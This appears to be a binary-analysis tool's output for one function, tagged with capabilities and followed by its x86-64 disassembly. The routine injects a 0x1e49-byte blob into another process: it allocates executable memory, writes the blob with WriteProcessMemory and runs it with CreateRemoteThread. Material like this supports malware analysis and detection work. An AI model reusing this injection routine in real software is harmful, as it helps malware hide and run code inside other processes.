Function at 0x18000b3c0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], r8
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
xor esi, esi
mov r13, r8
mov rdi, rdx
mov rbx, rcx
mov qword [rsp + 0x50], rsi
mov rbp, rsi
mov r12, rsi
mov r15, rsi
mov r14, rsi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
test rcx, rcx
je 0x18000b728
cmp rcx, 0xffffffffffffffff
je 0x18000b728
mov r9d, 0x3000
xor edx, edx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
test rax, rax
je 0x18000b65c
lea rcx, [rsp + 0x50]
mov r9, r13
mov r8, rdi
mov qword [rsp + 0x20], rcx
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000b71b
mov r13, qword [rsp + 0xd0]
test r13, r13
je 0x18000b4ce
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, r13
repne scasb al, byte [rdi]
mov r9d, 0x3000
xor edx, edx
not rcx
mov dword [rsp + 0x20], 0x40
mov rdi, rcx
mov qword [rsp + 0x40], rcx
mov r8, rcx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x18000b711
lea rax, [rsp + 0x50]
mov r9, rdi
mov r8, r13
mov rdx, r15
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000b711
mov r13, qword [rsp + 0xd8]
test r13, r13
je 0x18000b53f
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, r13
repne scasw ax, word [rdi]
mov r9d, 0x3000
xor edx, edx
not rcx
mov dword [rsp + 0x20], 0x40
lea rdi, [rcx + rcx]
mov rcx, rbx
mov r8, rdi
mov qword [rsp + 0x58], rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x18000b707
lea rax, [rsp + 0x50]
mov r9, rdi
mov r8, r13
mov rdx, r14
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000b707
mov eax, 0x30
mov r9d, 0x3000
xor edx, edx
mov rcx, rbx
mov r8, rax
mov dword [rsp + 0x20], 0x40
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
je 0x18000b707
mov ecx, 0x10
call fcn.1800135c8
mov r13, qword [rsp + 0x48]
mov rdi, rax
test rax, rax
je 0x18000b5ce
xor eax, eax
mov r9d, 0x10
mov r8, rdi
mov qword [rdi], rax
mov qword [rdi + 8], rax
lea rax, [rsp + 0x50]
mov rdx, r12
mov rcx, rbx
mov dword [rdi], r13d
mov qword [rsp + 0x20], rax
mov dword [rdi + 4], esi
mov dword [rdi + 8], r15d
mov dword [rdi + 0xc], r14d
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rdi
test eax, eax
jne 0x18000b663
call fcn.1800155f4
mov rdi, qword [rsp + 0x40]
mov r8, qword [rsp + 0xc0]
mov r9d, 0x8000
mov rdx, r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test r15, r15
je 0x18000b607
mov r9d, 0x8000
mov r8, rdi
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test r14, r14
je 0x18000b623
mov r8, qword [rsp + 0x58]
mov r9d, 0x8000
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test r12, r12
je 0x18000b63f
mov r8, qword [rsp + 0x60]
mov r9d, 0x8000
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test rbp, rbp
je 0x18000b65c
mov r9d, 0x8000
mov r8d, 0x1e49
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, esi
jmp 0x18000b72a
call fcn.1800155f4
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1e49
mov rcx, rbx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
je 0x18000b5ce
lea rax, [rsp + 0x50]
lea r8, [0x180036f30]
mov r9d, 0x1e49
mov rdx, rbp
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000b5ce
lea rax, [rsp + 0xb0]
mov r9, rbp
xor r8d, r8d
mov qword [rsp + 0x30], rax
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], r12
mov dword [rsp + 0xb0], esi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x18000b5ce
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 1
mov eax, esi
jmp 0x18000b72a
mov r13, qword [rsp + 0x48]
jmp 0x18000b5ce
mov r13, qword [rsp + 0x48]
jmp 0x18000b5d3
mov r13, qword [rsp + 0x48]
mov rdi, rsi
jmp 0x18000b5d3
xor eax, eax
mov rbx, qword [rsp + 0xb8]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret